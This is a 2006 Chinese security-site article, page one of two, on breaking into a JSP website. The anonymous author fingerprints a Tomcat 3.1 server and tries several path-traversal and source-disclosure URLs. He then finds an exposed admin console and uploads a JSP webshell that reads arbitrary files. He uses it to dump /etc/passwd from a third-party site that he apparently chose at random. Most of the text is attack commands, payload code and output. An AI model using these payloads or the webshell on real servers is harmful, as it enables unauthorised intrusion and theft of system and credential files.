奇趣技术网 收藏本站
设为主页
商务合作
首页 新闻中心 行业动态 软件新闻 安全资讯 病毒预警 漏洞发布 操作系统 Dos Win9x Win2000 WinXP Win2003 WinVista Linux Unix
数据库 DB2 Access MSSQL MySQL Oracle Sybase 编程技术 ASP PHP JSP CGI/Perl XML .Net C/C++/C# VB VC Delphi Java 汇编
安全技术 安全教学 工具介绍 漏洞利用 病毒防范 入侵检测 防火墙 安全防范 汉化破解 攻击实例 加密解密 技术论坛
中华网络安全联盟 >> 安全技术 >> 攻击实例 >> 如何入侵基于JSP的网站
安全技术
安全资讯
病毒预警
漏洞发布
安全教学
工具介绍
漏洞利用
病毒防范
入侵检测
防火墙
安全防范
汉化破解
攻击实例
加密解密
  • 快速掌握典型入侵日志

  • 你BT我更BT!记一次入侵

  • 黑客入侵无线网络常用

  • Discuz 4.0论坛入侵实

  • 如何入侵基于JSP的网站
    字体:

    中华网络安全联盟    作者:佚名    来源:不详    时间:2006-4-23

            很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性。

      telnet www.target.com 8080

      GET /CHINANSL HTTP/1.1

      [Enter]

      [Enter]
      

      返回的结果如下:  

      HTTP/1.0 404 Not Found

      Date: Sun, 08 Jul 2001 07:49:13 GMT

      Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2

      .2.12 i386; java.vendor=Blackdown Java-Linux Team)

      Content-Language: en

      Content-Type: text/html

      Status: 404  

      〈h1〉Error: 404〈/h1〉

      〈h2〉Location: /CHINANSL〈/h2〉File Not Found〈br〉/CHINANSL   

      获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。   

      回忆一下,大概是通过“..”技术可以退出WEB目录,于是:   

      http://target:8080/../../../../%00.jsp (不行)

      http://target:8080/file/index.jsp (不行)

      http://target:8080/index.JSP (不行)

      http://target:8080/index.jsp%81 (不行)

      http://target:8080/index.js%70 (不行)

      http://target:8080/index.jsp%2581 (不行)

      http://target:8080/WEB-INF/ (不行)
      

      看来安全状况似乎还不错,我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context。于是尝试:  

      http://target:8080/admin/   

      管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。   

      接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:   

      〈%@ page import="java.io.*" %〉

      〈%

      String file = request.getParameter("file");

      String str = "";

      FileInputStream fis = null;

      DataInputStream dis = null;

      try{

      fis = new FileInputStream(file);

      dis = new DataInputStream(fis);

      while(true){

      try{

      str = dis.readLine();

      }catch(Exception e){}

      if(str == null)break;

      out.print(str+"〈br〉");

      }

      }catch(IOException e){}

      %〉   

      然后执行:  

      http://target:8080/upload/test.jsp?file=/etc/passwd   

      密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。

    [1] [2] 下一页  

    字体:
     
    设为主页 收藏本站 联系我们 友情连接 商务合作 网友留言
    Copyright©2006-2008 中华网络安全联盟 All rights reserved.